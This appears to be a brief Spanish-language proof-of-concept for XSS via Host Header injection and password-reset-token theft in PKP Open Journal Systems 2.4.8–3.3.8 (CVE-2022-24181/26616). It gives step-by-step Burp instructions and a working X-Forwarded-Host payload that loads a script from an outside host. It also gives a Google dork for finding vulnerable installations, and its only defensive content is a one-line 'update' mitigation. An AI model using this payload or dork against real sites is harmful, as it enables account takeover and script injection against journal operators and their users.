CVE-2022-24181 y CVE-2022-26616. probablemente son iguales

Open-journal-system-Vulnerabilidad

XSS mediante inyección de Host Header y robo del token de restablecimiento de contraseña de otro usuario Pasos para reproducir:

1. Ir a este sitio: https://who's-using-ojs-software.com
2. Capturar esta solicitud en burp y enviarla al repeater.
3. Añadir esto después del Host Header X-Forwarded-Host: foo"><script src=//dtf.pw/2.js><x=".com
4. Y luego hacer clic en enviar , después hacer clic derecho en la solicitud y hacer clic en mostrar respuesta en el navegador , después copiar la solicitud.
5. Pegar esta solicitud en el navegador , y verás un pop-up de xss. Mitigación: Actualizar a la versión más reciente.

Google Dork para encontrar esta vulnerabilidad intitle:ojs Esta vulnerabilidad en el software del proveedor PKP Open-journal-system versiones 2.4.8 a 3.3.8 son todas vulnerables a xss mediante inyección de Host Header y vulnerabilidad de robo de token de restablecimiento de contraseña